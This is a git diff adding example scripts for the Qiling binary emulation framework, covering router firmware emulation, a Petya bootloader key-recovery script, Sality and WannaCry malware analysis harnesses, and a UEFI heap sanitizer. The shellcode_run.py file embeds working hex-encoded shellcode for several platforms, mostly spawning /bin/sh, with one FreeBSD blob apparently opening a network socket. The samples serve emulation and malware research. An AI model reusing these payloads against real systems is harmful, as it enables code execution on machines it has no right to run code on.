+1,17 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +def my_sandbox(path, rootfs): + ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, multithread=True) + ql.run() + +if __name__ == "__main__": + my_sandbox(["rootfs/arm64_linux/bin/arm64_multithreading"], "rootfs/arm64_linux") diff --git a/examples/multithreading_mips32_linux.py.orig b/examples/multithreading_mips32_linux.py.orig new file mode 100644 index 000000000..2c26e039a --- /dev/null +++ b/examples/multithreading_mips32_linux.py.orig @@ -0,0 +1,17 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +def my_sandbox(path, rootfs): + ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, multithread=True) + ql.run() + +if __name__ == "__main__": + my_sandbox(["rootfs/mips32_linux/bin/mips32_multithreading"], "rootfs/mips32_linux") diff --git a/examples/multithreading_mips32el_linux.py.orig b/examples/multithreading_mips32el_linux.py.orig new file mode 100644 index 000000000..9d21dd8b6 --- /dev/null +++ b/examples/multithreading_mips32el_linux.py.orig @@ -0,0 +1,17 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +def my_sandbox(path, rootfs): + ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, multithread=True) + ql.run() + +if __name__ == "__main__": + my_sandbox(["rootfs/mips32el_linux/bin/mips32el_multithreading"], "rootfs/mips32el_linux") diff --git a/examples/multithreading_x86_windows.py.orig b/examples/multithreading_x86_windows.py.orig new file mode 100644 index 000000000..fb5bad7e2 --- /dev/null +++ b/examples/multithreading_x86_windows.py.orig @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling + +if __name__ == "__main__": + ql = Qiling(["rootfs/x86_windows/bin/MultiThread.exe"], "rootfs/x86_windows") + ql.run() diff --git a/examples/netgear_6220_mips32el_linux.py.orig b/examples/netgear_6220_mips32el_linux.py.orig new file mode 100644 index 000000000..06299773c --- /dev/null +++ b/examples/netgear_6220_mips32el_linux.py.orig @@ -0,0 +1,75 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +# After mapping /proc there will be a /dev/mtdblock11 missing and crash +# To fix this, +# - cd $yourfirmware_rootfs/dev +# - dd if=/dev/zero of=mtdblock11 bs=1024 count=129030 +# - mkfs.ext4 mtdblock11 +# +# This firmware will more or less alive now. + +from colorama import Back +import struct +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_INTERCEPT, QL_VERBOSE +from qiling.os.posix import syscall +from qiling.os.const import UINT, POINTER + +def my_syscall_write(ql, write_fd, write_buf, write_count, *rest): + if write_fd == 2 and ql.os.fd[2].__class__.__name__ == 'ql_pipe': + return -1 + else: + return syscall.ql_syscall_write(ql, write_fd, write_buf, write_count, *rest) + + +def my_bind(ql: Qiling): + params = ql.os.resolve_fcall_params({ + 'fd': UINT, + 'addr': POINTER, + 'addrlen': UINT + }) + + bind_fd = params['fd'] + bind_addr = params['addr'] + bind_addrlen = params['addrlen'] + + print(Back.GREEN + f'Hijack bind({bind_fd}, {bind_addr:#x}, {bind_addrlen})' + Back.RESET) + # read from memory (start_address, len) + data = ql.mem.read(bind_addr, bind_addrlen) + # custom unpack (your own ql.unpack) of a C struct from memory + # https://linux.die.net/man/7/ip -> struct + sin_family = struct.unpack(" format_string -> https://docs.python.org/3/library/struct.html#format-strings + port, host = struct.unpack(">HI", data[2:8]) + # big-endian unsigned short, unsigned int -> format_string + print(Back.RED + f'[*] Socket Infos:' + Back.RESET) + print(f''' + Family: {sin_family} + Port: {port} (no root: +8000) + Host-interface?: {host} + ''') + return 0 # from syscall.ql_syscall_bind(ql, bind_fd, bind_addr, bind_addrlen) + +def my_netgear(path, rootfs): + ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, profile="netgear_6220.ql", multithread=False) + ql.os.root = False + + ql.add_fs_mapper('/proc', '/proc') + ql.os.set_syscall(4004, my_syscall_write) + ql.os.set_api('bind', my_bind, QL_INTERCEPT.ENTER) # intercepting the bind call on enter + + ql.run() + +if __name__ == "__main__": + my_netgear(["rootfs/netgear_r6220/bin/mini_httpd", + "-d", "/www", + "-r", "NETGEAR R6220", + "-c", "**.cgi", + "-t", "300"], + "rootfs/netgear_r6220") diff --git a/examples/ntQuerySystemInfo_x86.py.orig b/examples/ntQuerySystemInfo_x86.py.orig new file mode 100644 index 000000000..a4d5c9dcf --- /dev/null +++ b/examples/ntQuerySystemInfo_x86.py.orig @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling + +if __name__ == "__main__": + ql = Qiling(["rootfs/x86_windows/bin/NtQuerySystemInformation.exe"], "rootfs/x86_windows", libcache=True) + ql.run() diff --git a/examples/petya_8086_crack.py.orig b/examples/petya_8086_crack.py.orig new file mode 100644 index 000000000..752202690 --- /dev/null +++ b/examples/petya_8086_crack.py.orig @@ -0,0 +1,106 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +from itertools import product +import struct +import curses +import sys + +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE +from qiling.os.disk import QlDisk + +verfication_start_ip = 0x850B +petya_2nd_stage_start = 0x8000 +accepted_chars = "ABCDEFG123456789abcdefghijkmnopqrstuvwx" + +def generate_key(key: bytes): + return b"".join([struct.pack("BB", (k + 0x7A)%256, k*2%256) for k in key]) + +def stop(ql: Qiling, addr, data): + ql.emu_stop() + +def one_round(ql: Qiling, key: bytes, key_address): + gkeys = generate_key(key) + ql.mem.write(key_address, gkeys) + ql.run(begin=verfication_start_ip, end=verfication_start_ip+6) + lba37 = ql.mem.read(ql.arch.regs.sp + 0x220, 0x200) + for ch in lba37: + if ch != 0x37: + return False + return True + +# In this stage, we show that the password is correct. +def third_stage(key): + def pass_red(ql, addr, data): + curses.ungetch(ord("\n")) + curses.ungetch(ord("\r")) + + def input_key(ql, addr, data): + for i in key[::-1]: + curses.ungetch(i) + curses.ungetch(ord("\n")) + curses.ungetch(ord("\r")) + + ql = Qiling(["rootfs/8086/petya/petya.DOS_MBR"], + "rootfs/8086", + console=False, + verbose=QL_VERBOSE.DEBUG) + ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/petya/out_1M.raw", 0x80)) + ql.hook_code(pass_red, begin=0x886d, end=0x886d) + ql.hook_code(input_key, begin=0x85f0, end=0x85f0) + ql.hook_code(stop, begin=0x6806, end=0x6806) + ql.run() + +# In this stage, we will crack for the password. +def second_stage(ql: Qiling): + disk = QlDisk("rootfs/8086/petya/out_1M.raw", 0x80) + #nonce = get_nonce(disk) + verfication_data = disk.read_sectors(0x37, 1) + nonce_data = disk.read_sectors(0x36, 1) + ql.arch.regs.sp -= 0x200 + verification_data_address = ql.arch.regs.sp + ql.arch.regs.sp -= 0x200 + nonce_address = ql.arch.regs.sp + 0x21 + ql.arch.regs.sp -= 0x20 + key_address = ql.arch.regs.sp + ql.mem.write(verification_data_address, verfication_data) + ql.mem.write(nonce_address - 0x21, nonce_data) + ql.arch.stack_push(0x200) + ql.arch.stack_push(verification_data_address) + ql.arch.stack_push(0) + ql.arch.stack_push(nonce_address) + ql.arch.stack_push(key_address) + for x in product(list(accepted_chars), repeat=2): + ctx = ql.save() + # 3xMxjxXxLxoxmxAx + key = b"3xMxjxXxLxoxmx" + ("".join(x)).encode("utf-8") + print(f"Trying: {key}") + if one_round(ql, key, key_address): + print(f"Key: {key}") + return key + else: + ql.restore(ctx) + return None + +# In this stage, we have to wait for petya being load to the right place. +def first_stage(): + ql = Qiling(["rootfs/8086/petya/petya.DOS_MBR"], + "rootfs/8086", + console=False, + verbose=QL_VERBOSE.DEBUG) + ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/petya/out_1M.raw", 0x80)) + # Workaround for `until` in uc_emu_start not working with dynamic loaded code. + ql.hook_code(stop, begin=petya_2nd_stage_start, end=petya_2nd_stage_start) + ql.run() + return ql + +if __name__ == "__main__": + + ql = first_stage() + key = second_stage(ql) + third_stage(key) \ No newline at end of file diff --git a/examples/regdemo_x86_windows.py.orig b/examples/regdemo_x86_windows.py.orig new file mode 100644 index 000000000..ab3ac1ad4 --- /dev/null +++ b/examples/regdemo_x86_windows.py.orig @@ -0,0 +1,17 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +def my_sandbox(path, rootfs): + ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG) + ql.run() + +if __name__ == "__main__": + my_sandbox(["rootfs/x86_windows/bin/RegDemo.exe"], "rootfs/x86_windows") diff --git a/examples/sality.py.orig b/examples/sality.py.orig new file mode 100644 index 000000000..22d6f6515 --- /dev/null +++ b/examples/sality.py.orig @@ -0,0 +1,215 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +from unicorn import UcError + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE +from qiling.os.const import POINTER, DWORD, STRING, HANDLE +from qiling.os.windows import utils +from qiling.os.windows.api import * +from qiling.os.windows.fncc import * +from qiling.os.windows.dlls.kernel32.fileapi import _CreateFile + +def init_unseen_symbols(ql: Qiling, address: int, name: str, ordinal: int, dll_name: str): + ql.loader.import_symbols[address] = { + "name": name, + "ordinal": ordinal, + "dll": dll_name.partition('.')[0] + } + + ql.loader.import_address_table[dll_name][name] = address + + if ordinal != 0: + ql.loader.import_address_table[dll_name][ordinal] = address + + +# HANDLE CreateThread( +# LPSECURITY_ATTRIBUTES lpThreadAttributes, +# SIZE_T dwStackSize, +# LPTHREAD_START_ROUTINE lpStartAddress, +# __drv_aliasesMem LPVOID lpParameter, +# DWORD dwCreationFlags, +# LPDWORD lpThreadId +# ); +@winsdkapi(cc=STDCALL, params={ + 'lpThreadAttributes' : LPSECURITY_ATTRIBUTES, + 'dwStackSize' : SIZE_T, + 'lpStartAddress' : LPTHREAD_START_ROUTINE, + 'lpParameter' : LPVOID, + 'dwCreationFlags' : DWORD, + 'lpThreadId' : LPDWORD +}) +def hook_CreateThread(ql: Qiling, address: int, params): + # set thread handle + return 1 + +# HANDLE CreateFileA( +# LPCSTR lpFileName, +# DWORD dwDesiredAccess, +# DWORD dwShareMode, +# LPSECURITY_ATTRIBUTES lpSecurityAttributes, +# DWORD dwCreationDisposition, +# DWORD dwFlagsAndAttributes, +# HANDLE hTemplateFile +# ); +@winsdkapi(cc=STDCALL, params={ + 'lpFileName' : LPCSTR, + 'dwDesiredAccess' : DWORD, + 'dwShareMode' : DWORD, + 'lpSecurityAttributes' : LPSECURITY_ATTRIBUTES, + 'dwCreationDisposition' : DWORD, + 'dwFlagsAndAttributes' : DWORD, + 'hTemplateFile' : HANDLE +}) +def hook_CreateFileA(ql: Qiling, address: int, params): + lpFileName = params["lpFileName"] + if lpFileName.startswith("\\\\.\\"): + if ql.amsint32_driver: + return 0x13371337 + else: + return (-1) + else: + ret = _CreateFile(ql, address, params) + return ret + +def _WriteFile(ql: Qiling, address: int, params): + ret = 1 + hFile = params["hFile"] + lpBuffer = params["lpBuffer"] + nNumberOfBytesToWrite = params["nNumberOfBytesToWrite"] + lpNumberOfBytesWritten = params["lpNumberOfBytesWritten"] + #lpOverlapped = params["lpOverlapped"] + + if hFile == 0xfffffff5: + s = ql.mem.read(lpBuffer, nNumberOfBytesToWrite) + ql.os.stdout.write(s) + ql.os.stats.log_string(s.decode()) + ql.mem.write_ptr(lpNumberOfBytesWritten, nNumberOfBytesToWrite) + else: + f = ql.os.handle_manager.get(hFile) + if f is None: + # Invalid handle + ql.os.last_error = 0xffffffff + return 0 + else: + f = f.obj + buffer = ql.mem.read(lpBuffer, nNumberOfBytesToWrite) + f.write(bytes(buffer)) + ql.mem.write_ptr(lpNumberOfBytesWritten, nNumberOfBytesToWrite, 4) + return ret + +@winsdkapi(cc=STDCALL, params={ + 'hFile' : HANDLE, + 'lpBuffer' : LPCVOID, + 'nNumberOfBytesToWrite' : DWORD, + 'lpNumberOfBytesWritten' : LPDWORD, + 'lpOverlapped' : LPOVERLAPPED +}) +def hook_WriteFile(ql: Qiling, address: int, params): + hFile = params["hFile"] + lpBuffer = params["lpBuffer"] + nNumberOfBytesToWrite = params["nNumberOfBytesToWrite"] + lpNumberOfBytesWritten = params["lpNumberOfBytesWritten"] + if hFile == 0x13371337: + buffer = ql.mem.read(lpBuffer, nNumberOfBytesToWrite) + try: + nNumberOfBytesToWrite = utils.io_Write(ql.amsint32_driver, buffer) + ql.mem.write_ptr(lpNumberOfBytesWritten, nNumberOfBytesToWrite, 4) + except Exception: + ql.log.exception("") + r = False + else: + r = True + + return int(r) + + else: + return _WriteFile(ql, address, params) + + +# BOOL StartServiceA( +# SC_HANDLE hService, +# DWORD dwNumServiceArgs, +# LPCSTR *lpServiceArgVectors +# ); +@winsdkapi(cc=STDCALL, params={ + 'hService' : SC_HANDLE, + 'dwNumServiceArgs' : DWORD, + 'lpServiceArgVectors' : POINTER +}) +def hook_StartServiceA(ql: Qiling, address: int, params): + try: + hService = params["hService"] + service_handle = ql.os.handle_manager.get(hService) + if service_handle.name == "amsint32": + if service_handle.name in ql.os.services: + service_path = ql.os.services[service_handle.name] + service_path = ql.os.path.transform_to_real_path(service_path) + + ql.amsint32_driver = Qiling([service_path], ql.rootfs, verbose=QL_VERBOSE.DEBUG) + ntoskrnl = ql.amsint32_driver.loader.get_image_by_name("ntoskrnl.exe") + assert ntoskrnl, 'ntoskernl.exe was not loaded' + + init_unseen_symbols(ql.amsint32_driver, ntoskrnl.base+0xb7695, b"NtTerminateProcess", 0, "ntoskrnl.exe") + #ql.amsint32_driver.debugger= ":9999" + try: + ql.amsint32_driver.load() + return 1 + except UcError as e: + print("Load driver error: ", e) + return 0 + else: + return 0 + else: + return 1 + except Exception as e: + ql.log.exception("") + print (e) + + +def hook_stop_address(ql): + print(" >>>> Stop address: 0x%08x" % ql.arch.regs.arch_pc) + ql.emu_stop() + + +if __name__ == "__main__": + ql = Qiling(["../examples/rootfs/x86_windows/bin/sality.dll"], "../examples/rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG, libcache=True) + + # for this module + ql.amsint32_driver = None + + # emulate some Windows API + ql.os.set_api("CreateThread", hook_CreateThread) + ql.os.set_api("CreateFileA", hook_CreateFileA) + ql.os.set_api("WriteFile", hook_WriteFile) + ql.os.set_api("StartServiceA", hook_StartServiceA) + #init sality + ql.hook_address(hook_stop_address, 0x40EFFB) + ql.run() + # run driver thread + + # execution is about to resume from 0x4053B2, which essentially jumps to ExitThread (kernel32.dll). + # Set ExitThread exit code to 0 + ql.os.fcall = ql.os.fcall_select(STDCALL) + ql.os.fcall.writeParams(((DWORD, 0),)) + + ql.hook_address(hook_stop_address, 0x4055FA) + ql.run(0x4053B2) + ql.log.info("test kill thread") + if ql.amsint32_driver: + utils.io_Write(ql.amsint32_driver, ql.pack32(0xdeadbeef)) + + # TODO: Should stop at 0x10423, but for now just stop at 0x0001066a + ql.amsint32_driver.hook_address(hook_stop_address, 0x0001066a) + + # TODO: not sure whether this one is really STDCALL + ql.amsint32_driver.os.fcall = ql.amsint32_driver.os.fcall_select(STDCALL) + ql.amsint32_driver.os.fcall.writeParams(((DWORD, 0),)) + + ql.amsint32_driver.run(begin=0x102D0) diff --git a/examples/setexit_arm64_linux.py.orig b/examples/setexit_arm64_linux.py.orig new file mode 100644 index 000000000..8d8b5866e --- /dev/null +++ b/examples/setexit_arm64_linux.py.orig @@ -0,0 +1,17 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +def run_sandbox(path, rootfs): + ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG) + ql.run(end=0x7fffb7e98af4) + +if __name__ == "__main__": + run_sandbox(["rootfs/arm64_linux/bin/arm64_hello"], "rootfs/arm64_linux") diff --git a/examples/shellcode_run.py.orig b/examples/shellcode_run.py.orig new file mode 100644 index 000000000..c7e189696 --- /dev/null +++ b/examples/shellcode_run.py.orig @@ -0,0 +1,107 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys + +sys.path.append("..") +from qiling import Qiling +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE + +X86_LIN = bytes.fromhex('31c050682f2f7368682f62696e89e3505389e1b00bcd80') +X8664_LIN = bytes.fromhex('31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05') + +MIPS32EL_LIN = bytes.fromhex(''' + ffff0628ffffd004ffff05280110e4270ff08424ab0f02240c0101012f62696e + 2f7368 +''') + +X86_WIN = bytes.fromhex(''' + fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c + 617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b5920 + 01d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475 + e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ff + e05f5f5a8b12eb8d5d6a01eb2668318b6f87ffd5bbf0b5a25668a695bd9dffd5 + 3c067c0a80fbe07505bb4713726f6a0053ffd5e8d5ffffff63616c6300 +''') + +X8664_WIN = bytes.fromhex(''' + fc4881e4f0ffffffe8d0000000415141505251564831d265488b52603e488b52 + 183e488b52203e488b72503e480fb74a4a4d31c94831c0ac3c617c022c2041c1 + c90d4101c1e2ed5241513e488b52203e8b423c4801d03e8b80880000004885c0 + 746f4801d0503e8b48183e448b40204901d0e35c48ffc93e418b34884801d64d + 31c94831c0ac41c1c90d4101c138e075f13e4c034c24084539d175d6583e448b + 40244901d0663e418b0c483e448b401c4901d03e418b04884801d0415841585e + 595a41584159415a4883ec204152ffe05841595a3e488b12e949ffffff5d49c7 + c1000000003e488d95fe0000003e4c8d850f0100004831c941ba45835607ffd5 + 4831c941baf0b5a256ffd548656c6c6f2c2066726f6d204d534621004d657373 + 616765426f7800 +''') + +ARM_LIN = bytes.fromhex(''' + 01108fe211ff2fe102200121921a0f02193701df061c08a11022023701df3f27 + 0221301c01df0139fbd505a0921a05b469460b2701dfc046020012340a000202 + 2f73797374656d2f62696e2f736800 +''') + +ARM64_LIN = bytes.fromhex(''' + 420002ca210080d2400080d2c81880d2010000d4e60300aa01020010020280d2 + 681980d2010000d4410080d2420002cae00306aa080380d2010000d4210400f1 + 65ffff54e0000010420002ca210001caa81b80d2010000d4020004d27f000001 + 2f62696e2f736800 +''') + +X8664_FBSD = bytes.fromhex(''' + 6a61586a025f6a015e990f054897baff02aaaa80f2ff524889e699046680c210 + 0f05046a0f05041e4831f6990f0548976a035852488d7424f080c2100f0548b8 + 523243427730637257488d3e48af74084831c048ffc00f055f4889d04889fe48 + ffceb05a0f0575f799043b48bb2f62696e2f2f73685253545f5257545e0f05 +''') + +X8664_MACOS = bytes.fromhex(''' + 4831f65648bf2f2f62696e2f7368574889e74831d24831c0b00248c1c828b03b + 0f05 +''') + + +if __name__ == "__main__": + print("\nLinux ARM 64bit Shellcode") + ql = Qiling(code=ARM64_LIN, archtype=QL_ARCH.ARM64, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG) + ql.run() + + print("\nLinux ARM 32bit Shellcode") + ql = Qiling(code=ARM_LIN, archtype=QL_ARCH.ARM, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG) + ql.run() + + print("\nLinux x86 32bit Shellcode") + ql = Qiling(code=X86_LIN, archtype=QL_ARCH.X86, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG) + ql.run() + + print("\nLinux MIPS 32bit EL Shellcode") + ql = Qiling(code=MIPS32EL_LIN, archtype=QL_ARCH.MIPS, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG) + ql.run() + + print("\nLinux x86-64 Shellcode") + ql = Qiling(code=X8664_LIN, archtype=QL_ARCH.X8664, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG) + ql.run() + + print("\nWindows x86 Shellcode") + ql = Qiling(code=X86_WIN, archtype=QL_ARCH.X86, ostype=QL_OS.WINDOWS, rootfs=r'rootfs/x86_windows') + ql.run() + + print("\nWindows x86-64 Shellcode") + ql = Qiling(code=X8664_WIN, archtype=QL_ARCH.X8664, ostype=QL_OS.WINDOWS, rootfs=r'rootfs/x8664_windows') + ql.run() + + # FIXME: freebsd sockets are currently broken. + # + # print("\nFreeBSD x86-64 Shellcode") + # ql = Qiling(code=X8664_FBSD, archtype=QL_ARCH.X8664, ostype=QL_OS.FREEBSD, verbose=QL_VERBOSE.DEBUG) + # ql.run() + + # FIXME: macos shellcode loader is currently broken + # + # print("\nMacOS x86-64 Shellcode") + # ql = Qiling(code=X8664_MACOS, archtype=QL_ARCH.X8664, ostype=QL_OS.MACOS, verbose=QL_VERBOSE.DEBUG) + # ql.run() diff --git a/examples/simple_efi_x8664.py.orig b/examples/simple_efi_x8664.py.orig new file mode 100644 index 000000000..c6410b0c8 --- /dev/null +++ b/examples/simple_efi_x8664.py.orig @@ -0,0 +1,46 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import pickle + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_INTERCEPT, QL_VERBOSE +from qiling.os.uefi.const import EFI_SUCCESS, EFI_INVALID_PARAMETER +from qiling.os.uefi.utils import execute_protocol_notifications, signal_event + +def force_notify_RegisterProtocolNotify(ql: Qiling, address: int, params): + event_id = params['Event'] + + if event_id in ql.loader.events: + # let's force notify + event = ql.loader.events[event_id] + event['Guid'] = params["Protocol"] + event["Set"] = False + + signal_event(ql, event_id) + execute_protocol_notifications(ql, True) + + return EFI_SUCCESS + + return EFI_INVALID_PARAMETER + +def my_onenter(ql: Qiling, address: int, params): + print(f'[onenter] CopyMem : params = {params}') + + return address, params + +if __name__ == "__main__": + with open("rootfs/x8664_efi/rom2_nvar.pickel", 'rb') as f: + env = pickle.load(f) + + ql = Qiling(["rootfs/x8664_efi/bin/TcgPlatformSetupPolicy"], "rootfs/x8664_efi", env=env, verbose=QL_VERBOSE.DEBUG) + + ql.os.set_api("RegisterProtocolNotify", force_notify_RegisterProtocolNotify) + ql.os.set_api("CopyMem", my_onenter, QL_INTERCEPT.ENTER) + + ql.run() diff --git a/examples/tendaac1518_httpd.py.orig b/examples/tendaac1518_httpd.py.orig new file mode 100644 index 000000000..819e8310c --- /dev/null +++ b/examples/tendaac1518_httpd.py.orig @@ -0,0 +1,86 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + + +# 1. Download AC15 Firmware from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip +# 2. unzip +# 3. binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin +# 4. locate squashfs-root +# 5. rm -rf webroot && mv webroot_ro webroot +# +# notes: we are using rootfs in this example, so rootfs = squashfs-root +# + +import os, socket, threading + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +def patcher(ql: Qiling): + br0_addr = ql.mem.search("br0".encode() + b'\x00') + + for addr in br0_addr: + ql.mem.write(addr, b'lo\x00') + +def nvram_listener(): + server_address = 'rootfs/var/cfm_socket' + data = "" + + try: + os.unlink(server_address) + except OSError: + if os.path.exists(server_address): + raise + + # Create UDS socket + sock = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) + sock.bind(server_address) + sock.listen(1) + + while True: + connection, _ = sock.accept() + + try: + while True: + data += str(connection.recv(1024)) + + if "lan.webiplansslen" in data: + connection.send('192.168.170.169'.encode()) + else: + break + + data = "" + finally: + connection.close() + +def myvfork(ql: Qiling): + regreturn = 0 + ql.log.info("vfork() = %d" % regreturn) + + return regreturn + +def my_sandbox(path, rootfs): + ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG) + ql.add_fs_mapper("/dev/urandom","/dev/urandom") + ql.hook_address(patcher, ql.loader.elf_entry) + + # $ gdb-multiarch -q rootfs/bin/httpd + # gdb> set remotetimeout 100 + # gdb> target remote localhost:9999 + ql.debugger = False + + if ql.debugger == True: + ql.os.set_syscall("vfork", myvfork) + + ql.run() + +if __name__ == "__main__": + nvram_listener_therad = threading.Thread(target=nvram_listener, daemon=True) + nvram_listener_therad.start() + + my_sandbox(["rootfs/bin/httpd"], "rootfs") diff --git a/examples/uefi_sanitized_heap.py.orig b/examples/uefi_sanitized_heap.py.orig new file mode 100644 index 000000000..321de48ac --- /dev/null +++ b/examples/uefi_sanitized_heap.py.orig @@ -0,0 +1,65 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import os +import sys + +sys.path.append("..") +from qiling import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions.sanitizers.heap import QlSanitizedMemoryHeap + +def my_abort(msg): + print(f"\n*** {msg} ***\n") + os.abort() + +def enable_sanitized_heap(ql, fault_rate=0): + heap = QlSanitizedMemoryHeap(ql, ql.os.heap, fault_rate=fault_rate) + + heap.oob_handler = lambda *args: my_abort(f'Out-of-bounds read detected') + heap.bo_handler = lambda *args: my_abort(f'Buffer overflow/underflow detected') + heap.bad_free_handler = lambda *args: my_abort(f'Double free or bad free detected') + heap.uaf_handler = lambda *args: my_abort(f'Use-after-free detected') + + # make sure future allocated buffers are not too close to UEFI data + heap.alloc(0x1000) + + ql.os.heap = heap + ql.loader.dxe_context.heap = heap + +def sanitized_emulate(path, rootfs, fault_type, verbose=QL_VERBOSE.DEBUG): + env = {'FaultType': fault_type} + ql = Qiling([path], rootfs, env=env, verbose=verbose) + + enable_sanitized_heap(ql) + ql.run() + + if not ql.os.heap.validate(): + my_abort("Canary corruption detected") + +def usage(): + print(""" +Usage: ./uefi_santizied_heap.py +Valid fault types: +0 - POOL_OVERFLOW_MEMCPY +1 - POOL_UNDERFLOW_MEMCPY +2 - POOL_OVERFLOW_USER +3 - POOL_UNDERFLOW_USER +4 - POOL_OOB_READ_AHEAD +5 - POOL_OOB_READ_BEHIND +6 - POOL_DOUBLE_FREE +7 - POOL_INVALID_FREE +""") + sys.exit(0) + +if __name__ == "__main__": + if len(sys.argv) < 2: + usage() + + fault_type = bytes([int(sys.argv[1])]) + rootfs = os.path.join(os.getcwd(), 'rootfs', 'x8664_efi') + path = os.path.join(rootfs, 'bin', 'EfiPoolFault.efi') + + sanitized_emulate(path, rootfs, fault_type, verbose=QL_VERBOSE.DEBUG) diff --git a/examples/uselessdisk_x86_windows.py.orig b/examples/uselessdisk_x86_windows.py.orig new file mode 100644 index 000000000..dbc765945 --- /dev/null +++ b/examples/uselessdisk_x86_windows.py.orig @@ -0,0 +1,14 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +if __name__ == "__main__": + ql = Qiling(["rootfs/x86_windows/bin/UselessDisk.bin"], "rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG) + ql.run() diff --git a/examples/wannacry_x86_windows_hookaddress.py.orig b/examples/wannacry_x86_windows_hookaddress.py.orig new file mode 100644 index 000000000..7f7f8019c --- /dev/null +++ b/examples/wannacry_x86_windows_hookaddress.py.orig @@ -0,0 +1,19 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +def stopatkillerswtich(ql: Qiling): + print(f'killerswtch found') + ql.emu_stop() + +if __name__ == "__main__": + ql = Qiling(["rootfs/x86_windows/bin/wannacry.bin"], "rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG) + ql.hook_address(stopatkillerswtich, 0x40819a) + ql.run() diff --git a/examples/windows_trace.py.orig b/examples/windows_trace.py.orig new file mode 100644 index 000000000..8394e3f9d --- /dev/null +++ b/examples/windows_trace.py.orig @@ -0,0 +1,139 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import os +import argparse +import pefile + +from binascii import hexlify +from capstone import * + +import sys +sys.path.append('..') + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +class colors: + if sys.stdout.isatty(): + BLUE = '\033[94m' + GREEN = '\033[92m' + YELLOW = '\033[93m' + RED = '\033[91m' + ENDC = '\033[0m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + else: + HEADER = '' + BLUE = '' + GREEN = '' + YELLOW = '' + RED = '' + ENDC = '' + BOLD = '' + UNDERLINE = '' + + +def dump_regs(ql: Qiling): + regs = { + 'eax': ql.arch.regs.eax, + 'ebx': ql.arch.regs.ebx, + 'ecx': ql.arch.regs.ecx, + 'edx': ql.arch.regs.edx, + 'edi': ql.arch.regs.edi, + 'esi': ql.arch.regs.esi, + 'ebp': ql.arch.regs.ebp, + 'esp': ql.arch.regs.esp + } + + if not hasattr(dump_regs, 